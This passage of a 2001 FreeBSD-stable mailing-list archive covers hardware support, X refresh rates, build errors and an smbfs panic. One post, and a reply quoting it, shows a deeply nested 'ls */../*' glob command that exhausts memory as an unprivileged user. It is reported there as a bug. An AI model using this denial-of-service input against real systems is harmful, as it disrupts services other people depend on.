CDROM with > > 4-STABLE. I've seen some stuff about this and have tried as many of the > > suggestions as I can, but no joy. The CDROM is a pccard one so I'm > > wondering if that'll be the cause? Laptop is a Vaio and pccard did > > eventually find the CDROM when I inserted it, but it took a while and there > > was an error message > > > > ata4-slave: identify retries exceeded > > > > It found the unit as > > > > acd0: CDROM at ata4-master using BIOSPIO > > > > Anyone any ideas? > > > > david > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 9:57: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id 343B737B719 for ; Sat, 17 Mar 2001 09:56:59 -0800 (PST) (envelope-from fran@reyes.somos.net) Received: from zoraida.reyes.somos.net (zoraida.reyes.somos.net [192.168.10.6]) by sanson.reyes.somos.net (8.9.3/8.9.3) with ESMTP id MAA33469; Sat, 17 Mar 2001 12:46:04 -0500 (EST) (envelope-from fran@reyes.somos.net) Date: Sat, 17 Mar 2001 13:01:14 -0500 (EST) From: Francisco Reyes To: Mike Meyer Cc: Haikal Saadh , Subject: Re: 4.3-BETA In-Reply-To: <15026.62584.999579.19774@guru.mired.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001, Mike Meyer wrote: > That suggestion isn't inappropriate. On the other hand the label "-RC" > (release candidate) stil generates problems, so I'm not sure it would > work. I suspect that *any* change in name will generate "I tried to > get -STABLE, and got -FOO" messages. Not changing it would make life > difficult for users who *wanted* to know they were getting a BETA or > RC version. > > Possibly this information needs to go in the handbook on tracking > -STABLE, rather than a FAQ. On another thread someone mentioned making a change to motd, but we know that this may not work if people don't read mergemaster, or have their own motd. How about changing the buildworld and kernelconf targets to support having a message at the end? This would be a general purpose tool which could be used not only for going into new releases or for other matters. Even simpler change those targets to point the user to read /usr/src/UPDATING. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 10:23:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from web12005.mail.yahoo.com (web12005.mail.yahoo.com [216.136.172.213]) by hub.freebsd.org (Postfix) with SMTP id 106E237B718 for ; Sat, 17 Mar 2001 10:23:58 -0800 (PST) (envelope-from xulfralos@yahoo.com) Message-ID: <20010317182358.86078.qmail@web12005.mail.yahoo.com> Received: from [208.176.120.215] by web12005.mail.yahoo.com; Sat, 17 Mar 2001 10:23:58 PST Date: Sat, 17 Mar 2001 10:23:58 -0800 (PST) From: SolarFlux Subject: Is D-Link DFE-650TX PCMCIA NIC supported in 4.3 BETA? To: stable@freebsd.org In-Reply-To: <00f901c0af05$01e1dad0$011aa8c0@godzilla> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I installed 4.2-RELEASE on my laptop some time ago and this 10/100 pccard nic didn't work. This card has been out for some time now and I'm just wondering if someone has submitted a driver for 4.3 BETA. I really don't want to have to go spend $50 on another 10/100 PCMCIA NIC when this one works fine. Thx __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 10:27:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from web12008.mail.yahoo.com (web12008.mail.yahoo.com [216.136.172.216]) by hub.freebsd.org (Postfix) with SMTP id 46B8D37B718 for ; Sat, 17 Mar 2001 10:27:33 -0800 (PST) (envelope-from xulfralos@yahoo.com) Message-ID: <20010317182733.70352.qmail@web12008.mail.yahoo.com> Received: from [208.176.120.215] by web12008.mail.yahoo.com; Sat, 17 Mar 2001 10:27:33 PST Date: Sat, 17 Mar 2001 10:27:33 -0800 (PST) From: SolarFlux Subject: Is D-Link DFE-650TX 10/100 PCMCIA NIC supported in 4.3 BETA? To: freebsd-stable@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG 4.2-RELEASE recognized it but it didn't work. Anyone know if this will be supported in 4.3? Thx __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 11:11: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp010.mail.yahoo.com (smtp010.mail.yahoo.com [216.136.173.30]) by hub.freebsd.org (Postfix) with SMTP id 45B6F37B71A for ; Sat, 17 Mar 2001 11:11:02 -0800 (PST) (envelope-from neve_ripe@yahoo.com) Received: from f2f.tsua.net (HELO never) (212.40.34.58) by smtp.mail.vip.sc5.yahoo.com with SMTP; 17 Mar 2001 19:11:01 -0000 X-Apparently-From: Date: Sat, 17 Mar 2001 21:10:56 +0200 From: Alexandr Kovalenko X-Mailer: The Bat! (v1.49) UNREG / CD5BF9353B3B7091 Reply-To: Alexandr Kovalenko Organization: UIC Group X-Priority: 3 (Normal) Message-ID: <69456482176.20010317211056@yahoo.com> To: freebsd-stable@freebsd.org Subject: Not only ftpd's problem with ls */../*..... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sirs, problem with glob is not only ftpd's problem. The folowing was run from regular user... time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* Out of memory. 8.990u 64.850s 1:57.38 62.9% 0+0k 0+0io 2784pf+10305w -- Best regards, Alexandr mailto:neve_ripe@yahoo.com _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 11:15:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1E97537B718 for ; Sat, 17 Mar 2001 11:15:53 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2HJFom27899; Sat, 17 Mar 2001 11:15:50 -0800 (PST) Date: Sat, 17 Mar 2001 11:15:50 -0800 From: Alfred Perlstein To: David Reid Cc: freebsd-stable@FreeBSD.ORG Subject: Re: GLib? Message-ID: <20010317111550.D29888@fw.wintelcom.net> References: <00a401c0aefb$62f658f0$011aa8c0@godzilla> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00a401c0aefb$62f658f0$011aa8c0@godzilla>; from dreid@jetnet.co.uk on Sat, Mar 17, 2001 at 04:00:25PM -0000 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * David Reid [010317 08:07] wrote: > Building glib from CVS I get an error about undefined symbol getpwuid_r? As > I'm guessing people have done this and it's built, what's the deal with > this? How do I fix it? Submit patches to implement getpwuid_r() in libc. > Why doesn't it build "out of the box"?? Because all the world is not Linnex. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 11:55:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 6802337B71A for ; Sat, 17 Mar 2001 11:55:56 -0800 (PST) (envelope-from juha@saarinen.org) Received: from vimfuego.saarinen.org ([192.168.1.1]) by vimfuego.saarinen.org with esmtp (Exim 3.22 #1) id 14eMkb-0004Bf-00; Sun, 18 Mar 2001 07:52:33 +1200 Date: Sun, 18 Mar 2001 07:52:33 +1200 (NZST) From: Juha Saarinen To: The Unicorn Cc: "freebsd-stable@FreeBSD.ORG" , "nlfug@nlfug.nl" Subject: Re: Has anyone got a Libretto 110CT working with XFree86 4.0.2? In-Reply-To: <20010317144338.Y49651@unicorn.blackhats.org> Message-ID: X-S: Always MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Mar 2001, The Unicorn wrote: > (II) NEOMAGIC(0): Supported Future Video Modes: > (II) NEOMAGIC(0): #0: hsize: 800 vsize 450 refresh: 60 vid: 49221 > (**) NEOMAGIC(0): Depth 16, (--) framebuffer bpp 16 > (II) NEOMAGIC(0): Monitor0: Using hsync range of 31.50-54.30 kHz > (II) NEOMAGIC(0): Monitor0: Using vrefresh range of 50.00-190.00 Hz > (--) NEOMAGIC(0): Virtual size is 800x480 (pitch 800) > (**) NEOMAGIC(0): Mode "800x480": 50.0 MHz, 46.0 kHz, 90.3 Hz I could be wrong, but it looks like you've set the refresh way too high (90Hz). Lower it to 60Hz in XF86Config, perhaps? -- Regards, Juha PGP fingerprint: B7E1 CC52 5FCA 9756 B502 10C8 4CD8 B066 12F3 9544 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12: 1: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lsmls01.we.mediaone.net (lsmls01.we.mediaone.net [24.130.1.20]) by hub.freebsd.org (Postfix) with ESMTP id E814437B718 for ; Sat, 17 Mar 2001 12:00:59 -0800 (PST) (envelope-from eric_m_logan@yahoo.com) Received: from yahoo.com (we-24-130-92-248.we.mediaone.net [24.130.92.248]) by lsmls01.we.mediaone.net (8.11.1/8.11.1) with ESMTP id f2HK0wj26953 for ; Sat, 17 Mar 2001 12:00:58 -0800 (PST) Message-ID: <3AB3C1C2.67E1AB9B@yahoo.com> Date: Sat, 17 Mar 2001 11:57:54 -0800 From: Eric M Logan X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "freebsd-stable@FreeBSD.ORG" Subject: ports vs. packages... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can anyone tell me if there's any advantage(s) to installing applications from the ports collection as opposed to just using the available packages. This is of course, aside from the ability to manipulate a variable or two or when there are no precompiled binaries available. It just seems to me that using packages is so much quicker and more convenient. Would compiling from the ports collection implement some enhancements for your particular processor for instance? Any help would be appreciated. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12: 3:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lsmls01.we.mediaone.net (lsmls01.we.mediaone.net [24.130.1.20]) by hub.freebsd.org (Postfix) with ESMTP id 66E7637B719 for ; Sat, 17 Mar 2001 12:03:35 -0800 (PST) (envelope-from eric_m_logan@yahoo.com) Received: from yahoo.com (we-24-130-92-248.we.mediaone.net [24.130.92.248]) by lsmls01.we.mediaone.net (8.11.1/8.11.1) with ESMTP id f2HK3Yj28321 for ; Sat, 17 Mar 2001 12:03:34 -0800 (PST) Message-ID: <3AB3C25D.B048EC19@yahoo.com> Date: Sat, 17 Mar 2001 12:00:29 -0800 From: Eric M Logan X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "freebsd-stable@FreeBSD.ORG" Subject: refresh rates in FreeBSD 4.2 w/ xfree86 4.02 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm sorry for this newbie question but can anyone tell me how to find out what refreshrate one is currently in and also how to go about changing it. I'm currently running FreeBSD 4.2 stable, xfree86 4.02, and Blackbox 0.61. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:12:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from localhost.grauel.com (usr1-43.mintel.net [63.81.123.58]) by hub.freebsd.org (Postfix) with ESMTP id 4F62737B718 for ; Sat, 17 Mar 2001 12:12:13 -0800 (PST) (envelope-from rjk@grauel.com) Received: (from rjk@localhost) by localhost.grauel.com (8.11.3/8.11.1) id f2HKBkd06140; Sat, 17 Mar 2001 15:11:46 -0500 (EST) (envelope-from rjk) From: Richard J Kuhns MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15027.50433.215061.85929@localhost.grauel.com> Date: Sat, 17 Mar 2001 15:11:45 -0500 To: Juergen Unger Cc: freebsd-stable@FreeBSD.ORG Subject: Re: ES1371 problem with up-to-date -BETA In-Reply-To: <20010316221800.A83777@raven.addict.de> References: <15026.13367.150808.507865@localhost.grauel.com> <20010316221800.A83777@raven.addict.de> X-Mailer: VM 6.90 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Juergen Unger writes: > Hi ! > > Richard J Kuhns wrote: > [...] > > When using cat to send a .au file to /dev/audio it sounds like it's playing > > about twice as fast as it should. > [...] > > same problem here since we bought such a soundcard. Problem > did not changed from 4.2-RELEASE to 4.2-STABLE from november and > december and it seems that its still in 4.3-BETA... > > -Juergen- I've got an update. Last night I booted Windoze for the first time in several weeks (I found Unreal Gold at Walmart for $9). It naturally wanted to install drivers for the SB-16, so I loaded them from the CD and I played for a while. After booting FreeBSD again, the sound card works perfectly. This wasn't just a `need to reboot' problem, as I've done that several times since I installed the card. It apparently needed some kind of initialization from the 'doze driver. At any rate, I'm now enjoying my mp3s again (the Sensational Alex Harvey Band, at the moment :). - Rich -- Richard Kuhns rjk@grauel.com PO Box 6249 Tel: (765)477-6000 \ 100 Sawmill Road x319 Lafayette, IN 47903 (800)489-4891 / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:15:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id D520C37B718 for ; Sat, 17 Mar 2001 12:15:06 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eN6K-0004Fa-00; Sun, 18 Mar 2001 08:15:00 +1200 From: "Juha Saarinen" To: "Alexandr Kovalenko" , Subject: RE: Not only ftpd's problem with ls */../*..... Date: Sun, 18 Mar 2001 08:18:08 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <69456482176.20010317211056@yahoo.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: problem with glob is not only ftpd's problem. :: :: The folowing was run from regular user... :: :: time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* :: Out of memory. :: 8.990u 64.850s 1:57.38 62.9% 0+0k 0+0io 2784pf+10305w I get this: $ time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* /bin/ls: Argument list too long real 0m1.503s user 0m0.195s sys 0m1.305s 4.2-STABLE. -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:19:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from omahpop1.omah.uswest.net (omahpop1.omah.uswest.net [204.26.64.1]) by hub.freebsd.org (Postfix) with SMTP id A35B437B719 for ; Sat, 17 Mar 2001 12:19:21 -0800 (PST) (envelope-from hey9811@yahoo.com) Received: (qmail 83029 invoked by alias); 17 Mar 2001 20:19:20 -0000 Delivered-To: fixup-stable@freebsd.org@fixme Received: (qmail 83023 invoked by uid 0); 17 Mar 2001 20:19:20 -0000 Received: from omah6400gw2poolc19.omah.uswest.net (HELO karry.shadowdale.net) (63.227.158.19) by omahpop1.omah.uswest.net with SMTP; 17 Mar 2001 20:19:20 -0000 Date: Sat, 17 Mar 2001 15:19:36 -0600 (CST) From: Virtual Bob To: FreeBSD-STABLE Subject: lengthen passwd in 3.5-S Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How to I enlarge (change) allowable password length in 3.5-S? I did quick look through /usr/src/usr.bin/passwd.c but couldn't quite figure out where this limit is hard-coded/defined... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:25:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 840F237B719 for ; Sat, 17 Mar 2001 12:25:20 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eNGG-0004Gb-00; Sun, 18 Mar 2001 08:25:16 +1200 From: "Juha Saarinen" To: "Eric M Logan" , Subject: RE: refresh rates in FreeBSD 4.2 w/ xfree86 4.02 Date: Sun, 18 Mar 2001 08:28:24 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3AB3C25D.B048EC19@yahoo.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: I'm sorry for this newbie question but can anyone tell me how to find :: out what refreshrate one is currently in and also how to go about :: changing it. I'm currently running FreeBSD 4.2 stable, xfree86 4.02, :: and Blackbox 0.61. Thanks. If you get an epileptic seizure by looking at your screen, chances are you're running in interlaced mode. No, seriously... the quick way is to press the settings (or equivalent) button of your monitor. Most modern displays have an info panel that'll tell you what resolution and refresh rate you're running at. XF86 also supports the DDC protocol, so if you look at the /var/log/XFree86.0.log file, and see a line similar to this: (--) NV(0): Virtual size is 1024x768 (pitch 1024) (**) NV(0): Default mode "1024x768": 78.8 MHz, 60.1 kHz, 75.1 Hz ^^^^^^^ refresh rate ... then you have it. (If you have a DDC monitor, that is.) You can change the refresh rate by editing the options under the monitor section in the /etc/X11/XF86Config file, or by re-running the xf86config program. -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:28:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hex.databits.net (hex.databits.net [207.29.192.16]) by hub.freebsd.org (Postfix) with SMTP id 2E09E37B719 for ; Sat, 17 Mar 2001 12:28:37 -0800 (PST) (envelope-from petef@hex.databits.net) Received: (qmail 91026 invoked by uid 1001); 17 Mar 2001 20:28:33 -0000 Date: Sat, 17 Mar 2001 15:28:33 -0500 From: Pete Fritchman To: Virtual Bob Cc: FreeBSD-STABLE Subject: Re: lengthen passwd in 3.5-S Message-ID: <20010317152833.D90345@databits.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from hey9811@yahoo.com on Sat, Mar 17, 2001 at 03:19:36PM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You'll want to change over to MD5 passwords (the ones that start with $1$ and are generally longer). You might want to read: http://www.FreeBSD.org/handbook/crypt.html Regards, -pete ++ 17/03/01 15:19 -0600 - Virtual Bob: >How to I enlarge (change) allowable password length in 3.5-S? I did quick >look through /usr/src/usr.bin/passwd.c but couldn't quite figure out where >this limit is hard-coded/defined... > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message -- Pete Fritchman Databits Network Services, Inc. finger petef@databits.net for PGP key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:32:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (Postfix) with ESMTP id 2CF8137B719 for ; Sat, 17 Mar 2001 12:32:11 -0800 (PST) (envelope-from dhw@whistle.com) Received: (from smap@localhost) by whistle.com (8.10.0/8.10.0) id f2HKWAO05927; Sat, 17 Mar 2001 12:32:10 -0800 (PST) Received: from pau-amma.whistle.com( 207.76.205.64) by whistle.com via smap (V2.0) id xma005925; Sat, 17 Mar 2001 12:31:59 -0800 Received: (from dhw@localhost) by pau-amma.whistle.com (8.11.1/8.11.1) id f2HKVwd82510; Sat, 17 Mar 2001 12:31:58 -0800 (PST) Date: Sat, 17 Mar 2001 12:31:58 -0800 (PST) From: David Wolfskill Message-Id: <200103172031.f2HKVwd82510@pau-amma.whistle.com> To: stable@FreeBSD.ORG, xulfralos@yahoo.com Subject: Re: Is D-Link DFE-650TX PCMCIA NIC supported in 4.3 BETA? In-Reply-To: <20010317182358.86078.qmail@web12005.mail.yahoo.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Sat, 17 Mar 2001 10:23:58 -0800 (PST) >From: SolarFlux >I installed 4.2-RELEASE on my laptop some time ago and >this 10/100 pccard nic didn't work. This card has >been out for some time now and I'm just wondering if >someone has submitted a driver for 4.3 BETA. I really >don't want to have to go spend $50 on another 10/100 >PCMCIA NIC when this one works fine. It's worked for me ever since I tried it (about 4 days ago) on 4.x-STABLE (as well as 5.0-CURRENT). (I didn't receive the laptop until about 1.5 weeks ago....) Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator Desk: 650/577-7158 TIE: 8/499-7158 Cell: 650/759-0823 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:32:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id 8670637B71A; Sat, 17 Mar 2001 12:32:29 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2HKXVe29757; Sat, 17 Mar 2001 15:33:31 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: , Subject: KDE2.1 + Pthread errors Date: Sat, 17 Mar 2001 15:35:43 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0018_01C0AEF7.ED851190" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C0AEF7.ED851190 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I am getting errors with pthread while doing a make install for kde2.1.... path -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/X11R6/lib /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_attr_destroy' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_create' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_attr_init' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_exit' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_condattr_init' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_mutexattr_destroy' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_condattr_destroy' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_attr_setinheritsched' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_mutexattr_settype' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_mutexattr_init' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_mutex_trylock' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_attr_setdetachstate' /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_cond_timedwait' I have just cvsuped yesterday. Any idea how to fix this? Colin Legendre CCNA, MCP sudz@ns3g.com ------=_NextPart_000_0018_01C0AEF7.ED851190 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am = getting errors=20 with pthread while doing a make install for = kde2.1....
 
path=20 -Wl,/usr/local/lib -Wl,--rpath=20 -Wl,/usr/X11R6/lib
/usr/X11R6/lib/libqt2-mt.so: undefined reference = to=20 `pthread_attr_destroy'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference to=20 `pthread_create'
/usr/X11R6/lib/libqt2-mt.so: undefined reference to=20 `pthread_attr_init'
/usr/X11R6/lib/libqt2-mt.so: undefined reference = to=20 `pthread_exit'
/usr/X11R6/lib/libqt2-mt.so: undefined reference to=20 `pthread_condattr_init'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference to=20 `pthread_mutexattr_destroy'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference=20 to `pthread_condattr_destroy'
/usr/X11R6/lib/libqt2-mt.so: undefined=20 reference to = `pthread_attr_setinheritsched'
/usr/X11R6/lib/libqt2-mt.so:=20 undefined reference to=20 `pthread_mutexattr_settype'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference=20 to `pthread_mutexattr_init'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference=20 to `pthread_mutex_trylock'
/usr/X11R6/lib/libqt2-mt.so: undefined = reference=20 to `pthread_attr_setdetachstate'
/usr/X11R6/lib/libqt2-mt.so: = undefined=20 reference to `pthread_cond_timedwait'
 
I have = just cvsuped=20 yesterday.  Any idea how to fix this?
 
 
Colin Legendre  CCNA, = MCP
sudz@ns3g.com
 
------=_NextPart_000_0018_01C0AEF7.ED851190-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:32:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id 8DF2237B718; Sat, 17 Mar 2001 12:32:36 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id OAA17542; Sat, 17 Mar 2001 14:37:51 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Sat, 17 Mar 2001 14:37:51 -0600 (CST) From: Tim Zingelman X-Sender: To: Cc: , Subject: 4.3-BETA + smbfs -> panic: malloc: wrong bucket Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm getting this repeatedly on several machines... after mounting a smbfs then sitting idle for a while, just an ls -l on the fs causes the panic. I built a kernel with debug & built smbfs.ko with debug. This is 4.3-BETA fresh from yesterday. Many identical (minus SMBFS) machines running great with this same kernel/world. I'm not sure where to go next... what follows is what I could get out of gdb... I do not know why there are ?? in the backtrace... maybe it is the linux.ko... I do have kern.fallback_elf_brand=3 set. # objdump --section-headers /modules/smbfs.ko|grep text 3 .rel.text 00003f20 00003bd4 00003bd4 00003bd4 2**2 9 .text 0000eb78 00008c7c 00008c7c 00008c7c 2**2 # kldstat Id Refs Address Size Name 1 6 0xc0100000 255918 kernel 2 1 0xc0356000 9cc0 agp.ko 3 1 0xc0360000 16e64 ipl.ko 4 1 0xc1015000 3000 daemon_saver.ko 5 1 0xc1018000 12000 linux.ko 6 1 0xc1055000 1c000 smbfs.ko I just built linux.ko with -g and tried to add-symbol-file it, but it made no difference... I'll install the new linux.ko in case that makes a difference, but it will probably be at least an hour before I get another crash... # gdb -k GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as 